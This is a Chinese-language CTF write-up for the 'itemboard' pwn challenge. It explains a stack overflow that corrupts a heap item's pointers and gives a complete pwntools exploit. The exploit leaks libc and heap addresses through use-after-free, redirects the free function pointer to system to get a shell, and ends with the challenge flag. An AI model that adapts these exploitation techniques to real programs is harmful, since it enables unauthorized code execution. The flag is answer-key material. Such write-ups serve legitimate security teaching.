writeup_itemboard

原创

钞sir 于 2019-03-05 17:54:15 发布 3561 收藏

分类专栏： CTF

钞sir

看这个add功能的函数：

```
void __cdecl new_item()
{
  int cnt; // eax@1
  char buf[1024]; // [sp+0h] [bp-410h]@1
  int content_len; // [sp+404h] [bp-Ch]@1
  Item *item; // [sp+408h] [bp-8h]@1

  item = (Item *)malloc(0x18uLL);               // size = 0x18
                                                //
                                                // 0x8 : char * name
                                                // 0x8 : char * description
                                                // 0x8 : void * item_free
  cnt = items_cnt++;
  item_array[cnt] = item;
  item->name = (char *)malloc(0x20uLL);
  item->free = (void (*)(ItemStruct *))item_free;
  puts("New Item");
  puts("Item name?");
  fflush(stdout);
  read_until(0, buf, 0x20, '\n');               // name len : 32
  strcpy(item->name, buf);
  puts("Description's len?");
  fflush(stdout);
  content_len = read_num();
  item->description = (char *)malloc(content_len);
  puts("Description?");
  fflush(stdout);
  read_until(0, buf, content_len, '\n');        // overflow
  strcpy(item->description, buf);
  puts("Add Item Successfully!");
}
```

在这里：

```
read_until(0, buf, content_len, '\n');        // overflow
 strcpy(item->description, buf);
```

```
-0000000000000410 buf             db 1024 dup(?)
-0000000000000010                 db ? ; undefined
-000000000000000F                 db ? ; undefined
-000000000000000E                 db ? ; undefined
-000000000000000D                 db ? ; undefined
-000000000000000C content_len     dd ?
-0000000000000008 item            dq ?                    ; offset
+0000000000000000  s               db 8 dup(?)
+0000000000000008  r               db 8 dup(?)
+0000000000000010
+0000000000000010 ; end of stack variables
```

这里当content_len的输入大于1024时，会有将buf溢出，覆盖后面的item结构体中description的地址，然后将buf复制到description上面；也就是我们可以通过修改地址达到任意地址修改；
而且，这道题开没有开Stack，但是开了PIE;

```
sir@sir-PC:~/desktop$ checksec it
[*] '/home/sir/desktop/it'
  Arch:     amd64-64-little
  RELRO:    Partial RELRO
  Stack:    No canary found
  NX:       NX enabled
  PIE:      PIE enabled
```

不过，因为free的时候清除指针，所以我们可以通过UAF来泄露出libc基地址和heap基地址；

EXP

```python
from pwn import *
context.log_level = 'debug'
context.terminal = ['deepin-terminal', '-x', 'sh' ,'-c']
#p = process('./it')
p = remote("pwn2.jarvisoj.com", 9887)
#elf= ELF('./it')
libc = ELF('./bc.so.6')

if args.G:
    gdb.attach(p)

def add(name,num,data):
    p.recvuntil('choose:\n')
    p.sendline('1')
    p.recvuntil('Item name?\n')
    p.sendline(name)
    p.recvuntil("Description's len?\n")
    p.sendline(str(num))
    p.recvuntil('Description?\n')
    p.sendline(data)

def List():
    p.recvuntil('choose:\n')
    p.sendline('2')

def show(i):
    p.recvuntil('choose:\n')
    p.sendline('3')
    p.recvuntil('Which item?\n')
    p.sendline(str(i))
```

```python
def remove(i):
    p.recvuntil('choose:\n')
    p.sendline('4')
    p.recvuntil('Which item?\n')
    p.sendline(str(i))

add('sir',0x80,'a'*8)
add('zyc',32,'b'*8)

remove(0)
show(0)
p.recvuntil('Description:')
libc_addr = u64(p.recv(6) + '\x00'*2) - 0x3c27b8
system_addr = libc_addr + 0x46590
__free_hook = libc_addr + libc.symbols['__free_hook']

remove(1)
show(1)
p.recvuntil('Description:')
heap_addr = u64(p.recv(6) + '\x00'*2) / 0x1000 * 0x1000

success("libc_addr: " + hex(libc_addr))
success("system_addr: " + hex(system_addr))
success("heap_addr: " + hex(heap_addr))
success("__free_hook_addr: " + hex(__free_hook))

pay = p64(system_addr) + 'a'*1024 + p64(heap_addr + 0x110 )
pay1 = p64(0x6873) + 'a'*1024 + p64(heap_addr + 0x10 )
add('/sh',len(pay),pay)
add('/sh',len(pay1),pay1)
remove(1)

p.interactive()
#CTF{c05164e58af089801c96d9c6a5598263}
```

这里修改不了__free_hook，所以主要利用溢出任意地址写，修改了&item->free为system，&item->name为"/sh";注意这里修改的是指针的地址，不是指针指向的地址内容；